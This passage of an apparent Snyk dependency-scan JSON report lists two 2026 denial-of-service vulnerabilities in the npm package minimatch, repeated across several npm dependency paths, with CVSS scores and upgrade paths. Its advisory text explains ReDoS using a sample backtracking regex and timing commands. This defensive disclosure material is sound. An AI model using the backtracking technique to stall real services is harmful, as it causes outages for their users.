"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 